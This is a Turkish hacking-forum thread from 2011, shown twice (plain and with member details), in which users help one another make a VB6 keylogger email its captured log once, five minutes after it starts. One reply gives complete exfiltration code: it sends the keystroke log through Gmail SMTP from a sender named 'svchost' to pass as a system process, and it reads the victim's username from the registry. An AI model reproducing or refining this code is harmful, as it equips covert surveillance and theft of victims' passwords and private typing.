vb keyloggerde maili 1 kez gönderme sorunu

themikro · 28-11-2011, 23:20

arkadaşlar merhaba.. aşağıda vb6 da yapılan bir keylogger in kodlarından ilgili kısmı veriyorum:

Kod:

 Private Sub Timer2_Timer() On Error Resume Next  'Hata olusursa es geç Say = Say + 1   'Her 60 saniyede bir say değişkenimizi 1 arttıyoruz If Say = 5 Then  ' Eğer say değişkenimiz Text11.Text a eşit olursa Say = 0  'Say değişkenimizi " 0 " lıyoruz..

bu kodlar ile keylogger her 5 dakika da bir maile log gönderiyor. benim istediğim keylogger'in çalıştıktan 5 dakika sonra 1 kere mail gönderip bir daha göndermemesi. bunu nasıl yapabilirim? teşekkürler.

YozAsKeR · 29-11-2011, 17:23

Dim sn, dk

timere aşşağıdakileri ekle

sn=sn+1
if sn = 60 then
dk=dk+1
sn=0
end if
if dk=5 then
mail gönderme kodun
end if

bu kadar eğer her beş dakikada bir göndersin dersen mail gönderme kodunun altına dk=0 eklersin..

EfnanUraz · 19-12-2011, 11:14

On Error Resume Next 'Hata olusursa es geç
Say = Say + 1 'Her 60 saniyede bir say değişkenimizi 1 arttıyoruz
If Say = 5 Then ' Eğer say değişkenimiz Text11.Text a eşit olursa
Say = 0 'Say değişkenimizi " 0 " lıyoruz..

Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=513657
Flds.Item(schema & "sendusername") = "Mail Adresi "
Flds.Item(schema & "sendpassword") = "Mail Adresi Sifre."
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "Mail Adresi "
.From = "svchost"
.Subject = PCADI & " : " & Text2.Text
.HTMLbOdy = Text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
Text1.Text = Clear
End With

'----------------------------------------------------

End If
End Sub

PCADI Bilgisayar İsmini Gösteriyor...

Form a Bunu ekle

PCADI = CreateObject("Wscript.Shell").RegRead("HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName")

notname · 19-12-2011, 12:37

bi tane sabit değerde integer tanımlanır. değeri 0 olarak. sonrası timer'a

Kod:

if sabitinteger=0 then begin 
mailgonder  
sabitinteger=1
end

yaparsın olur biter. kod kalabalıgına gerek yok.

xxdelixx · 24-12-2011, 22:47

suınu banada ogretin

nasıl mail gonderiyor bir türlü yapamadım

((

28-11-2011, 23:20	#1
themikro Çırak Kayıt Tarihi: Sep 2011 Üye numarası: #562025 Mesaj sayısı: 14 Karma etkisi: 0 Karma: 10	vb keyloggerde maili 1 kez gönderme sorunu arkadaşlar merhaba.. aşağıda vb6 da yapılan bir keylogger in kodlarından ilgili kısmı veriyorum: Kod: Private Sub Timer2_Timer() On Error Resume Next 'Hata olusursa es geç Say = Say + 1 'Her 60 saniyede bir say değişkenimizi 1 arttıyoruz If Say = 5 Then ' Eğer say değişkenimiz Text11.Text a eşit olursa Say = 0 'Say değişkenimizi " 0 " lıyoruz.. bu kodlar ile keylogger her 5 dakika da bir maile log gönderiyor. benim istediğim keylogger'in çalıştıktan 5 dakika sonra 1 kere mail gönderip bir daha göndermemesi. bunu nasıl yapabilirim? teşekkürler.

19-12-2011, 12:37	#4
notname Daimi Üye Kayıt Tarihi: Apr 2005 Üye numarası: #14562 Mesaj sayısı: 659 Karma etkisi: 608 Karma: 60025	bi tane sabit değerde integer tanımlanır. değeri 0 olarak. sonrası timer'a Kod: if sabitinteger=0 then begin mailgonder sabitinteger=1 end yaparsın olur biter. kod kalabalıgına gerek yok.

Konu Araçları	Bu Konuda Ara
Printer Çıktısını Göster Sayfayı Emaille Yolla	Bu Konuda Ara: Gelişmiş Arama

Bu Konuda Aradığınızı Bulamadıysanız Şunlara Bakmanızı Öneririz
Konu	Konu Yazarı	Forum	Cevaplar	Son Mesaj
vb 2010 lazım	FatalRevenge	Visual Basic	0	26-07-2011 20:40
vb webbrowser forum gönderme?	muro1	Visual Basic	0	05-06-2011 16:10
Bu Sorunu Halleden 2.Atatürk Olur	Artser	Siyaset	31	11-08-2009 17:29
Outlook ta gonderilen maili geri almak	HYPERVİSOR	Mail Hacking ve Güvenlik	0	21-05-2009 09:15
PHP nuke MAİL gönderme sorunu	JonTurk_35	Cgi ve PHP Scriptleri	2	17-07-2006 11:27

29-11-2011, 17:23	#2
YozAsKeR Daimi Üye Kayıt Tarihi: Jul 2009 Üye numarası: #345494 Yer: 'i Göğü Yaratana Şükürler Olsun. Mesaj sayısı: 385 Karma etkisi: 781 Karma: 77808	Dim sn, dk timere aşşağıdakileri ekle sn=sn+1 if sn = 60 then dk=dk+1 sn=0 end if if dk=5 then mail gönderme kodun end if bu kadar eğer her beş dakikada bir göndersin dersen mail gönderme kodunun altına dk=0 eklersin..

19-12-2011, 11:14	#3
EfnanUraz Banned Kayıt Tarihi: Jun 2011 Üye numarası: #546956 Mesaj sayısı: 5 Karma etkisi: 0 Karma: 10	On Error Resume Next 'Hata olusursa es geç Say = Say + 1 'Her 60 saniyede bir say değişkenimizi 1 arttıyoruz If Say = 5 Then ' Eğer say değişkenimiz Text11.Text a eşit olursa Say = 0 'Say değişkenimizi " 0 " lıyoruz.. Dim iMsg, iConf, Flds Set iMsg = CreateObject("CDO.Message") Set iConf = CreateObject("CDO.Configuration") Set Flds = iConf.Fields schema = "http://schemas.microsoft.com/cdo/configuration/" Flds.Item(schema & "sendusing") = 2 Flds.Item(schema & "smtpserver") = "smtp.gmail.com" Flds.Item(schema & "smtpserverport") = 465 Flds.Item(schema & "smtpauthenticate") = 1 Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=513657 Flds.Item(schema & "sendusername") = "Mail Adresi " Flds.Item(schema & "sendpassword") = "Mail Adresi Sifre." Flds.Item(schema & "smtpusessl") = 1 Flds.Update With iMsg .To = "Mail Adresi " .From = "svchost" .Subject = PCADI & " : " & Text2.Text .HTMLbOdy = Text1.Text .Organization = "Mail Organtion" .ReplyTo = "-" Set .Configuration = iConf SendEmailGmail = .Send Text1.Text = Clear End With '---------------------------------------------------- End If End Sub PCADI Bilgisayar İsmini Gösteriyor... Form a Bunu ekle PCADI = CreateObject("Wscript.Shell").RegRead("HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName")

24-12-2011, 22:47	#5
xxdelixx Hızlı Çırak Kayıt Tarihi: Aug 2005 Üye numarası: #33128 Mesaj sayısı: 80 Karma etkisi: 14 Karma: 799	suınu banada ogretin nasıl mail gonderiyor bir türlü yapamadım ((

Şu Anda Konuyu Görüntüleyenler: 1 (0 üye ve 1 misafir)